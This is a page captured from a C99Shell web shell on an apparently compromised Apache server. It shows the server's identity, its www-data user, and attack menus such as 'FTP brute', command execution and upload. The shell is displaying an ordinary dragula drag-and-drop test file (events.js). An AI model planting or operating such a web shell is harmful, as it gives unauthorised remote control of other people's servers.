!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/node_modules/dragula/test/   drwxrwxr-x
Free 13.17 GB of 57.97 GB (22.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     events.js (8.51 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

var test = require('tape');
var events = require('./lib/events');
var dragula = require('..');

test('.start() emits "cloned" for copies', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div], { copy: true });
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('cloned', cloned);
  drake.start(item);
  t.plan(3);
  t.end();
  function cloned (copy, original, type) {
    if (type === 'copy') {
      t.notEqual(copy, item, 'copy is not a reference to item');
      t.equal(copy.nodeType, item.nodeType, 'copy of original is provided');
      t.equal(original, item, 'original item is provided');
    }
  }
});

test('.start() emits "drag" for items', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('drag', drag);
  drake.start(item);
  t.plan(2);
  t.end();
  function drag (original, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(container, div, 'container matches expected div');
  }
});

test('.end() emits "cancel" when not moved', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('dragend', dragend);
  drake.on('cancel', cancel);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  drake.end();
  t.plan(3);
  t.end();
  function dragend (original) {
    t.equal(original, item, 'item is a reference to moving target');
  }
  function cancel (original, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(container, div, 'container matches expected div');
  }
});

test('.end() emits "drop" when moved', function (t) {
  var div = document.createElement('div');
  var div2 = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div, div2]);
  div.appendChild(item);
  document.body.appendChild(div);
  document.body.appendChild(div2);
  drake.on('dragend', dragend);
  drake.on('drop', drop);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  div2.appendChild(item);
  drake.end();
  t.plan(4);
  t.end();
  function dragend (original) {
    t.equal(original, item, 'item is a reference to moving target');
  }
  function drop (original, target, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(target, div2, 'target matches expected div');
    t.equal(container, div, 'container matches expected div');
  }
});

test('.remove() emits "remove" for items', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('dragend', dragend);
  drake.on('remove', remove);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  drake.remove();
  t.plan(3);
  t.end();
  function dragend (original) {
    t.equal(original, item, 'item is a reference to moving target');
  }
  function remove (original, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(container, div, 'container matches expected div');
  }
});

test('.remove() emits "cancel" for copies', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div], { copy: true });
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('dragend', dragend);
  drake.on('cancel', cancel);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  drake.remove();
  t.plan(4);
  t.end();
  function dragend () {
    t.pass('dragend got invoked');
  }
  function cancel (copy, container) {
    t.notEqual(copy, item, 'copy is not a reference to item');
    t.equal(copy.nodeType, item.nodeType, 'item is a copy of item');
    t.equal(container, null, 'container matches expectation');
  }
});

test('.cancel() emits "cancel" when not moved', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('dragend', dragend);
  drake.on('cancel', cancel);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  drake.cancel();
  t.plan(3);
  t.end();
  function dragend (original) {
    t.equal(original, item, 'item is a reference to moving target');
  }
  function cancel (original, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(container, div, 'container matches expected div');
  }
});

test('.cancel() emits "drop" when not reverted', function (t) {
  var div = document.createElement('div');
  var div2 = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  document.body.appendChild(div2);
  drake.on('dragend', dragend);
  drake.on('drop', drop);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  div2.appendChild(item);
  drake.cancel();
  t.plan(4);
  t.end();
  function dragend (original) {
    t.equal(original, item, 'item is a reference to moving target');
  }
  function drop (original, parent, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(parent, div2, 'parent matches expected div');
    t.equal(container, div, 'container matches expected div');
  }
});

test('.cancel() emits "cancel" when reverts', function (t) {
  var div = document.createElement('div');
  var div2 = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div], { revertOnSpill: true });
  div.appendChild(item);
  document.body.appendChild(div);
  document.body.appendChild(div2);
  drake.on('dragend', dragend);
  drake.on('cancel', cancel);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  div2.appendChild(item);
  drake.cancel();
  t.plan(3);
  t.end();
  function dragend (original) {
    t.equal(original, item, 'item is a reference to moving target');
  }
  function cancel (original, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(container, div, 'container matches expected div');
  }
});

test('mousedown emits "cloned" for mirrors', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('cloned', cloned);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  t.plan(3);
  t.end();
  function cloned (copy, original, type) {
    if (type === 'mirror') {
      t.notEqual(copy, item, 'mirror is not a reference to item');
      t.equal(copy.nodeType, item.nodeType, 'mirror of original is provided');
      t.equal(original, item, 'original item is provided');
    }
  }
});

test('mousedown emits "cloned" for copies', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div], { copy: true });
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('cloned', cloned);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  t.plan(3);
  t.end();
  function cloned (copy, original, type) {
    if (type === 'copy') {
      t.notEqual(copy, item, 'copy is not a reference to item');
      t.equal(copy.nodeType, item.nodeType, 'copy of original is provided');
      t.equal(original, item, 'original item is provided');
    }
  }
});

test('mousedown emits "drag" for items', function (t) {
  var div = document.createElement('div');
  var item = document.createElement('div');
  var drake = dragula([div]);
  div.appendChild(item);
  document.body.appendChild(div);
  drake.on('drag', drag);
  events.raise(item, 'mousedown', { which: 1 });
  events.raise(item, 'mousemove', { which: 1 });
  t.plan(2);
  t.end();
  function drag (original, container) {
    t.equal(original, item, 'item is a reference to moving target');
    t.equal(container, div, 'container matches expected div');
  }
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.017 ]--